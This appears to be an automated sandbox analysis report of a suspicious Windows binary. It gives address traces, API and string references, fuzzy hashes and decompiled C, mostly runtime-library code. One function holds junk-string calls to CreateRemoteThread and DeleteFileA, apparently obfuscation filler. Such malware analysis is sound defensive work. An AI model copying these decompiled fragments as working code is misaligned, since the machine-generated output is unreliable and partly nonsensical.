0x0043bc70
0x0043bc77
0x0043bc7a
0x0043bca4
0x0043bca7
0x0043bca7
0x0043bcb1
0x0043bcb1
0x0043bcb5
0x0043bc7c
0x0043bc7c
0x0043bc88
0x0043bc8b
0x0043bc8f
0x0043bc91
0x0043bc94
0x0043bc94
0x0043bc97
0x0043bc9a
0x0043bc9d
0x0043bc9f
0x0043bc9f
0x0043bca2
0x0043bcb8
0x00000000
0x00000000
0x0043bcbd
0x0043bcbd
0x00000000
0x00000000
0x0043bcc9
0x0043bcc9
0x0043bcd0
0x0043bcd3
0x0043bcf3
0x0043bcf6
0x0043bcf6
0x0043bd00
0x0043bd00
0x0043bd04
0x0043bcd5
0x0043bcd5
0x0043bce1
0x0043bce4
0x0043bce8
0x0043bcea
0x0043bcea
0x0043bcf1
0x00000000
0x00000000
0x0043bd0c
0x0043bd0c
0x0043bd13
0x0043bd1f
0x0043bd22
0x0043bd28
0x0043bd2f
0x0043be42
0x00000000
0x0043be42
0x0043bd35
0x0043bd3b
0x0043bd3b
0x0043bd42
0x00000000
0x0043bd79
0x0043bd79
0x0043bd7c
0x0043bd7f
0x0043bd82
0x0043bda9
0x0043bda9
0x0043bdac
0x0043bdaf
0x0043bdb2
0x0043bdd6
0x0043bdd6
0x0043bdd9
0x0043bddc
0x0043bddf
0x0043be18
0x0043be29
0x00000000
0x0043be29
0x0043bde1
0x0043bde1
0x0043bde4
0x0043bde7
0x0043bdea
0x00000000
0x00000000
0x0043bdec
0x0043bdec
0x0043bdef
0x0043bdf2
0x0043bdf5
0x00000000
0x00000000
0x0043bdf7
0x0043bdf7
0x0043bdfa
0x0043bdfd
0x0043be00
0x00000000
0x00000000
0x0043be02
0x0043be02
0x0043be05
0x0043be08
0x0043be0b
0x00000000
0x00000000
0x0043be0d
0x0043be0d
0x0043be10
0x0043be13
0x0043be16
0x0043be1a
0x00000000
0x0043be1a
0x00000000
0x0043be16
0x0043bdb4
0x0043bdb4
0x0043bdb7
0x0043bdbb
0x0043bdbe
0x00000000
0x0043bdc0
0x0043bdc3
0x0043bdc6
0x0043bdcc
0x0043bdd1
0x00000000
0x0043bdd1
0x0043bdbe
0x0043bd84
0x0043bd84
0x0043bd87
0x0043bd8b
0x0043bd8e
0x00000000
0x0043bd90
0x0043bd93
0x0043bd96
0x0043bd9c
0x0043bda1
0x00000000
0x0043bda1
0x00000000
0x0043be2b
0x0043be2b
0x0043be2e
0x0043be31
0x00000000
0x00000000
0x0043bd49
0x0043bd49
0x0043bd4c
0x0043bd4f
0x0043bd52
0x0043bd6b
0x0043bd6e
0x0043bd6e
0x0043bd71
0x0043bd54
0x0043bd54
0x0043bd57
0x0043bd5a
0x0043bd60
0x0043bd66
0x0043bd66
0x00000000
0x00000000
0x0043be36
0x0043be36
0x0043be39
0x0043be39
0x0043be3f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be47
0x0043be47
0x0043be4e
0x0043be54
0x0043be5a
0x0043be5d
0x0043be63
0x0043be6a
0x00000000
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c677
0x0043c67d
0x0043c680
0x0043c683
0x0043c686
0x0043c689
0x0043c68f
0x0043c68f
0x0043c68f
0x0043c697
0x0043c69b
0x00000000
0x00000000
0x0043c69d
0x0043c69d
0x0043c6a0
0x0043c6a3
0x0043c6a3
0x0043c6a8
0x0043c6ab
0x0043c6ae
0x0043c6b1
0x0043c6b4
0x0043c6b7
0x0043c6ba
0x0043c6ba
0x0043c6bd
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c6c0
0x0043be70
0x0043be76
0x0043be76
0x0043be7d
0x00000000
0x0043c201
0x0043c201
0x0043c20f
0x0043c20f
0x0043c212
0x00000000
0x00000000
0x0043be84
0x0043be87
0x0043be87
0x0043be8d
0x0043be8f
0x0043be92
0x0043be92
0x0043be95
0x0043be95
0x00000000
0x00000000
0x0043bfca
0x0043bfcd
0x0043bfcd
0x0043bfd2
0x0043bfd4
0x0043bfd7
0x0043bfd7
0x0043bfda
0x0043bfda
0x00000000
0x00000000
0x0043c3cd
0x0043c3cd
0x00000000
0x00000000
0x00000000
0x00000000
0x0043c219
0x0043c21c
0x0043c21f
0x0043c222
0x0043c228
0x0043c22b
0x0043c232
0x0043c236
0x0043c241
0x0043c241
0x0043c245
0x0043c25c
0x0043c25c
0x0043c263
0x0043c265
0x0043c265
0x0043c26c
0x0043c26c
0x0043c273
0x0043c281
0x0043c284
0x0043c293
0x0043c296
0x0043c29a
0x0043c2af
0x0043c29c
0x0043c29c
0x0043c29f
0x0043c2a5
0x0043c2aa
0x0043c2aa
0x0043c29a
0x0043c2b9
0x0043c2bc
0x0043c2bf
0x0043c2c2
0x0043c2c5
0x0043c2c8
0x0043c2ce
0x0043c2d4
0x0043c2dc
0x0043c2dd
0x0043c2e0
0x0043c2e1
0x0043c2e4
0x0043c2e5
0x0043c2ec
0x0043c2ed
0x0043c2f0
0x0043c2f1
0x0043c2f4
0x0043c2f5
0x0043c2fb
0x0043c2fc
0x0043c30b
0x0043c30d
0x0043c313
0x0043c313
0x0043c318
0x0043c31a
0x0043c31e
0x0043c320
0x0043c328
0x0043c329
0x0043c32c
0x0043c32d
0x0043c33c
0x0043c33e
0x0043c33e
0x0043c31e
0x0043c341
0x0043c348
0x0043c34b
0x0043c350
0x0043c350
0x0043c356
0x0043c358
0x0043c360
0x0043c361
0x0043c364
0x0043c365
0x0043c373
0x0043c375
0x0043c375
0x0043c356
0x0043c378
0x0043c37b
0x0043c37e
0x0043c381
0x0043c386
0x0043c38b
0x0043c38e
0x0043c391
0x0043c391
0x0043c394
0x0043c394
0x0043c397
0x0043c3a3
0x00000000
0x0043c3a3
0x0043c247
0x0043c247
0x0043c24e
0x0043c251
0x00000000
0x00000000
0x0043c253
0x0043c253
0x00000000
0x0043c253
0x0043c238
0x0043c238
0x00000000
0x00000000
0x0043be98
0x0043be98
0x0043bea3
0x0043beab
0x0043beb2
0x0043beb5
0x0043beb5
0x0043beb8
0x0043bf18
0x0043beba
0x0043bec1
0x0043bec7
0x0043becd
0x0043bed4
0x0043bed7
0x0043bedd
0x0043bee5
0x0043bee7
0x0043beee
0x0043bef5
0x0043befc
0x0043bf04
0x0043bf06
0x0043bf08
0x0043bf08
0x0043bf0f
0x0043bf1f
0x0043bf25
0x0043bf28
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x00000000
0x00000000
0x0043c3ab
0x0043c3ae
0x0043c3b1
0x0043c3b4
0x00000000
0x00000000
0x0043c10a
0x0043c10a
0x0043c116
0x0043c11c
0x0043c121
0x0043c123
0x0043c1cd
0x0043c1cd
0x0043c1d0
0x0043c1d0
0x0043c1d3
0x0043c1e7
0x0043c1ed
0x0043c1f3
0x0043c1d5
0x0043c1d5
0x0043c1db
0x0043c1e2
0x0043c1e2
0x0043c1f5
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c6c0
0x0043c129
0x0043c129
0x0043c129
0x0043c12b
0x0043c139
0x0043c12d
0x0043c12d
0x0043c12d
0x0043c143
0x0043c149
0x0043c14f
0x0043c156
0x0043c158
0x0043c15d
0x0043c15f
0x0043c164
0x0043c169
0x0043c16b
0x0043c170
0x0043c173
0x0043c176
0x0043c178
0x0043c178
0x0043c176
0x0043c179
0x0043c180
0x0043c1c8
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c182
0x0043c182
0x0043c187
0x0043c1a3
0x0043c1ab
0x0043c1b5
0x0043c1b8
0x0043c1bd
0x00000000
0x0043c1bd
0x00000000
0x0043c414
0x0043c414
0x0043c41e
0x0043c41e
0x0043c424
0x0043c426
0x0043c429
0x0043c429
0x0043c42f
0x0043c42f
0x00000000
0x00000000
0x0043c3c6
0x0043c3c6
0x00000000
0x00000000
0x0043bfdd
0x0043bfdd
0x0043bfe1
0x0043bfef
0x0043bff2
0x0043bfe3
0x0043bfe3
0x0043bfe3
0x0043bff8
0x0043bffe
0x0043c004
0x0043c010
0x0043c016
0x0043c016
0x0043c019
0x0043c0a1
0x0043c0a1
0x0043c0a5
0x0043c0a7
0x0043c0ad
0x0043c0ad
0x0043c0b0
0x0043c0b7
0x0043c0ba
0x0043c0c0
0x0043c0c0
0x0043c0c0
0x0043c0c6
0x0043c0cc
0x0043c0cf
0x0043c0d5
0x0043c0d7
0x00000000
0x00000000
0x0043c0d9
0x0043c0d9
0x0043c0df
0x0043c0e2
0x0043c0e4
0x00000000
0x00000000
0x0043c0e6
0x0043c0ec
0x0043c0ef
0x0043c0ef
0x0043c0f7
0x0043c0f7
0x0043c0fd
0x0043c0fd
0x0043c102
0x00000000
0x0043c01f
0x0043c01f
0x0043c01f
0x0043c023
0x0043c025
0x0043c02a
0x0043c02a
0x0043c02d
0x0043c030
0x0043c036
0x0043c048
0x0043c048
0x0043c048
0x0043c04b
0x0043c051
0x00000000
0x00000000
0x0043c053
0x0043c053
0x0043c059
0x0043c05c
0x0043c05e
0x00000000
0x00000000
0x0043c060
0x0043c060
0x0043c069
0x0043c06f
0x0043c073
0x0043c07b
0x0043c07d
0x0043c07f
0x0043c085
0x0043c085
0x0043c088
0x0043c088
0x0043c094
0x0043c097
0x0043c03f
0x0043c042
0x0043c042
0x0043c045
0x0043c045
0x0043c09f
0x0043c105
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x0043c6c0
0x00000000
0x0043c3bd
0x0043c3bd
0x00000000
0x00000000
0x0043c3d9
0x0043c3d9
0x0043c3e3
0x0043c3e3
0x0043c3ed
0x0043c3ed
0x0043c3f3
0x0043c3f5
0x0043c3fa
0x0043c404
0x0043c404
0x0043c407
0x0043c40b
0x0043c40b
0x0043c432
0x0043c435
0x0043c435
0x0043c43a
0x0043c45c
0x0043c45c
0x0043c462
0x0043c484
0x0043c484
0x0043c487
0x0043c4ce
0x0043c4ce
0x0043c4d1
0x0043c4ee
0x0043c4f2
0x0043c4fa
0x0043c4fa
0x0043c4fc
0x0043c502
0x0043c4d3
0x0043c4d3
0x0043c4d7
0x0043c4df
0x0043c4e0
0x0043c4e6
0x0043c4e6
0x0043c489
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c4ad
0x0043c4b9
0x0043c4bc
0x0043c4bd
0x0043c4c3
0x0043c491
0x0043c491
0x0043c495
0x0043c49d
0x0043c49e
0x0043c49f
0x0043c4a5
0x0043c4a5
0x0043c4c9
0x0043c464
0x0043c464
0x0043c470
0x0043c476
0x0043c476
0x0043c43c
0x0043c43c
0x0043c448
0x0043c44e
0x0043c44e
0x0043c50b
0x0043c50b
0x0043c50e
0x0043c550
0x0043c550
0x0043c556
0x0043c55c
0x0043c562
0x00000000
0x0043c510
0x0043c510
0x0043c510
0x0043c517
0x00000000
0x00000000
0x0043c519
0x0043c519
0x0043c524
0x0043c52a
0x0043c52c
0x0043c532
0x0043c535
0x0043c537
0x0043c53d
0x0043c546
0x0043c54b
0x0043c568
0x0043c56b
0x0043c56b
0x0043c570
0x0043c575
0x0043c575
0x0043c57b
0x0043c57d
0x0043c583
0x0043c589
0x0043c589
0x0043c592
0x0043c592
0x0043c57b
0x0043c598
0x0043c59c
0x0043c5aa
0x0043c5ad
0x0043c5b0
0x0043c5b7
0x0043c5b9
0x0043c5b9
0x0043c59e
0x0043c59e
0x0043c59e
0x0043c5c6
0x0043c5c6
0x0043c5cc
0x0043c5ce
0x0043c5ce
0x0043c5d5
0x0043c5db
0x0043c5de
0x0043c5de
0x0043c5de
0x0043c5e4
0x0043c5e7
0x0043c5ea
0x0043c5ec
0x00000000
0x00000000
0x0043c5ee
0x0043c5f4
0x0043c5f4
0x0043c5fa
0x00000000
0x00000000
0x0043c5fc
0x0043c5fc
0x0043c5ff
0x0043c602
0x0043c609
0x0043c610
0x0043c618
0x0043c61e
0x0043c621
0x0043c624
0x0043c62b
0x0043c637
0x0043c63d
0x0043c643
0x0043c64a
0x0043c64c
0x0043c652
0x0043c652
0x0043c658
0x0043c658
0x0043c65e
0x0043c667
0x0043c66c
0x0043c66f
0x0043c5de
0x0043c5de
0x0043c5e4
0x0043c5e7
0x0043c5ea
0x0043c5ec
0x00000000
0x00000000
0x00000000
0x0043c5ec
0x0043c5de
0x0043c51b
0x0043c51b
0x0043c522
0x00000000
0x00000000
0x00000000
0x0043c522
0x00000000
0x0043c6c0
0x0043c6c0
0x0043c6c4
0x00000000
0x00000000
0x00000000
0x0043c6c4
0x00000000
0x00000000
0x0043bc49
0x0043bc49
0x0043bc4c
0x0043bc4f
0x00000000
0x00000000
0x0043bc54
0x0043bc57
0x0043bc5d
0x00000000
0x00000000
0x0043bc3e
0x0043bc41
0x0043bc44
0x00000000
0x00000000
0x0043bc33
0x0043bc36
0x0043bc39
0x00000000
0x00000000
0x0043bc62
0x0043bc62
0x0043bc65
0x0043bc65
0x0043bc68
0x00000000
0x00000000
0x0043bc6b
0x00000000
0x00000000
0x0043badb
0x0043badb
0x0043badd
0x0043baeb
0x0043badf
0x0043badf
0x0043badf
0x0043bafb
0x0043bb08
0x0043bb0a
0x0043bb0f
0x0043bb11
0x0043bb16
0x0043bb1b
0x0043bb1d
0x0043bb22
0x0043bb28
0x0043bb2a
0x0043bb2a
0x0043bb28
0x0043bb2b
0x0043bb32
0x00000000
0x0043bb34
0x0043bb39
0x0043bb55
0x0043bb5d
0x0043bb6a
0x0043bb6f
0x0043c984
0x0043c991
0x0043c991
0x0043bb32
0x0043bad5
0x0043c8c0
0x0043c8c7
0x0043c8de
0x0043c8de
0x0043c8e8
0x0043c8e8
0x0043c8ee
0x0043c8fb
0x0043c8fd
0x0043c902
0x0043c904
0x0043c909
0x0043c90e
0x0043c910
0x0043c915
0x0043c91b
0x0043c91d
0x0043c91d
0x0043c91b
0x0043c925
0x0043c970
0x0043c979
0x0043c97e
0x0043c927
0x0043c92c
0x0043c948
0x0043c950
0x0043c95d
0x0043c962
0x0043c962
0x00000000
0x0043c925
0x0043c8c9
0x0043c8d0
0x00000000
0x00000000
0x0043c8d2
0x0043c8d2
0x00000000
0x0043c8d2
0x0043c6c0
0x0043bf5b
0x0043bf5b
0x0043bf61
0x0043bf68
0x0043bf6d
0x0043bf70
0x00000000
0x0043bf70

APIs

_get_int_arg.LIBCMTD ref: 0043BF38
_strlen.LIBCMT ref: 0043BF68
_write_multi_char.LIBCMTD ref: 0043C74B
_write_string.LIBCMTD ref: 0043C766
_write_multi_char.LIBCMTD ref: 0043C792
__mbtowc_l.LIBCMTD ref: 0043C801

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BB16, 0043BB46
_woutput_s_l, xrefs: 0043BB4B
("Incorrect format specifier", 0), xrefs: 0043BB0A, 0043BB50
HD@, xrefs: 0043BF5B

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$HD@$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 909868375-1463889187
Opcode ID: 5b5b0a4c870e82314def0e16c4ff1c2780aba61dee0cc37164a68db0be71f378
Instruction ID: 37ef7edda3d921a199b159ebbd73b41805ac0bfedfc5b57ef6454c0df7c8fda1
Opcode Fuzzy Hash: 5b5b0a4c870e82314def0e16c4ff1c2780aba61dee0cc37164a68db0be71f378
Instruction Fuzzy Hash: 84A17EB1D00228DBDB24DF55CC81BAEB7B5EF48305F14919AE6097B281D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00419E79, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 39
filetimethreadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00419E79(void* __eax, void* __edx) {
				void* _t19;

				asm("adc [eax], eax");
				 *((intOrPtr*)(_t19 + 0x73)) =  *((intOrPtr*)(_t19 + 0x73)) + __edx;
				SetSystemTimeAdjustment(0, 0);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__CreateActCtxW(_t19 - 0x1a50);
				DeleteFileA("Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo");
				__imp__GetCalendarInfoA(0, 0, 0, "vihebihasucuxegod", 0, 0);
				InterlockedDecrement(_t19 - 0x1a30);
				GetCommandLineW();
				TlsGetValue(0);
				TryEnterCriticalSection(_t19 - 0x1a2c);
				return 0;
			}

0x00419e7f
0x00419e81
0x00419e88
0x00419e9c
0x00419ea9
0x00419eb4
0x00419ec9
0x00419ed6
0x00419edc
0x00419ee4
0x00419ef1
0x00419efa

APIs

SetSystemTimeAdjustment.KERNEL32 ref: 00419E88
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419E9C
CreateActCtxW.KERNEL32(?), ref: 00419EA9
DeleteFileA.KERNEL32(Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo), ref: 00419EB4
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,vihebihasucuxegod,00000000,00000000), ref: 00419EC9
InterlockedDecrement.KERNEL32(?), ref: 00419ED6
GetCommandLineW.KERNEL32 ref: 00419EDC
TlsGetValue.KERNEL32(00000000), ref: 00419EE4
TryEnterCriticalSection.KERNEL32(?), ref: 00419EF1

Strings

vihebihasucuxegod, xrefs: 00419EBE
Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo, xrefs: 00419EAF

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Create$AdjustmentCalendarCommandCriticalDecrementDeleteEnterFileInfoInterlockedLineRemoteSectionSystemThreadTimeValue
String ID: Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo$vihebihasucuxegod
API String ID: 2597053956-1231097603
Opcode ID: 2c792e0ac1f0f053ee6bf8c721866e09ce655af73d610147c7f0fc25237459f7
Instruction ID: 304d584fa24cce963418fa9185dd375d91ae38519bc6ad5b0a7e7da9e91a3d93
Opcode Fuzzy Hash: 2c792e0ac1f0f053ee6bf8c721866e09ce655af73d610147c7f0fc25237459f7
Instruction Fuzzy Hash: 0EF01D31684285ABEB505BB0AE0EF893B68BB05702F140461F386F58F0C6B495848F29

Uniqueness

Uniqueness Score: -1.00%

Function 0041CE4E, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041CECB
_CheckBytes.LIBCMTD ref: 0041CF69
_CheckBytes.LIBCMTD ref: 0041D012

Strings

%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041D0B1
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CF00
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CF9E
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041D03C

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: d49f26737d7a58bf396554fdcc820be4613dd574ef39abf1c5084d1adb2a04e0
Instruction ID: a724f06719acfc95637cfb9a267087f272e40f3a90993307811274ad39962a98
Opcode Fuzzy Hash: d49f26737d7a58bf396554fdcc820be4613dd574ef39abf1c5084d1adb2a04e0
Instruction Fuzzy Hash: 32612EB5E402059BDB18CB84CCC5FBFB7B5AB48304F24815AE515AB3C1D279EC82CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00437814, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00437814(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0x440208; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E0041B520(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L0041E390();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L00422E80(_t65))) = 0x22;
						E00422C10(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0x440208; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E0041B520(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L00422E80(_t61)));
				goto L30;
			}

0x00437814
0x00437817
0x0043781e
0x0043788a
0x0043788d
0x00437890
0x00437894
0x00437981
0x00437981
0x00437985
0x0043798d
0x0043798d
0x0043798f
0x00437992
0x00437995
0x00437995
0x0043789d
0x004378a0
0x00437977
0x0043797a
0x0043797a
0x0043797d
0x00000000
0x0043797d
0x004378a6
0x004378aa
0x0043796a
0x0043796d
0x00437970
0x00000000
0x00437970
0x004378b3
0x004378b6
0x004378ba
0x004378bc
0x004378c3
0x004378c5
0x004378c9
0x004378d1
0x004378d7
0x004378e6
0x004378e6
0x004378e9
0x004378d9
0x004378d9
0x004378de
0x004378de
0x004378ec
0x004378f8
0x004378f8
0x004378fc
0x00437901
0x00437901
0x004378c9
0x004378c3
0x00437904
0x00437907
0x0043790a
0x0043790e
0x00437911
0x00437913
0x00437918
0x0043791a
0x0043791f
0x00437924
0x00437926
0x0043792b
0x0043792e
0x00437931
0x00437933
0x00437933
0x00437931
0x00437934
0x00437938
0x00000000
0x0043793a
0x0043793f
0x0043795b
0x00437963
0x00000000
0x00437963
0x00437938
0x00437824
0x00437829
0x00437830
0x00437847
0x0043784d
0x0043785d
0x0043785d
0x00437860
0x0043784f
0x0043784f
0x00437855
0x00437855
0x0043786f
0x00437873
0x00437878
0x00437830
0x00437880
0x00000000

APIs

_memset.LIBCMT ref: 00437873
_memset.LIBCMT ref: 004378FC
__invalid_parameter.LIBCMTD ref: 0043795B

Strings

_wcstombs_s_l, xrefs: 00437951
sizeInBytes > retsize, xrefs: 00437913, 00437956
P, xrefs: 00437970
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 0043791F, 0043794C

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: 7a035b684bdeeed1e062d94ec4560368f087fa4b1c8bcf76cbbbf9e8f9c5e687
Instruction ID: ce96b6bf4936dcf6e0fa6d3dac2b98073d6bfe3eb4dc7d01427c4537650c077f
Opcode Fuzzy Hash: 7a035b684bdeeed1e062d94ec4560368f087fa4b1c8bcf76cbbbf9e8f9c5e687
Instruction Fuzzy Hash: BC41BDB0E04309EBDB24DF58C8897AE7761FB48314F10976AE8A52A3D0D3788950CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0041D8E7, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041D8E7() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
